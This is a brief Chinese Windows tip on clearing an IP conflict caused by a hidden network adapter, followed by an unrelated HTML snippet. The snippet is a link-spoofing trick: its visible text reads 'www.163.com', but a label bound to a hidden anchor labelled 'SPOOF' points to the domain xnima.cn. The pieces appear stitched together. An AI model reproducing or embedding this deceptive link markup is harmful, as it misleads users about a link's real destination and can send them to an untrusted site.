　　注一: 这个错误讯息的详细内容大致如下: 您输入的网络适配卡 IP 地址 xxx.xxx.xxx.xxx 已经指派给另一个适配卡 ABCD，ABCD 在 [ 网络和拨号联机 ] 中被隐藏起来，因为他在计算机中不是实体适配卡，或者他是旧版而未运作的适配卡，而且这两个适配卡同时都在使用中，只有其中一个可以使用这个地址。这样可能会造成不正确的系统设定。您想要在进阶的对话方 IP 地址清单中输入另一个 IP 地址给这个适配卡使用吗? 「是」「否」 　 注二: 所以在这里，我们又可以学到一样技巧，就是进入 Command Mode 最省事的方法，就是在「执行」中输入「cmd」，你不用再去「开始」>>「程序」>>「附件」>>「命令提示字符」那么麻烦的去执行了。 cmd 这命令在 Windows NT、2000、XP 都适用，Windows 95、98、Me 请改为 command。 Trotter的方法: 在“设备管理器”中，点“查看”，点“显示隐藏的设备”，在网络适配器中删除掉隐藏的网络适配器即可。

<p><a id="SPOOF" href="http://xnima.cn"></a></p>
<div>
<a href="http://www.163.com" target="_blank">
<table>
<caption>
<label for="SPOOF">
<u style="cursor: pointer; color: blue">
www.163.com
</u>
</label>
</caption>
</table>
</a>
</div>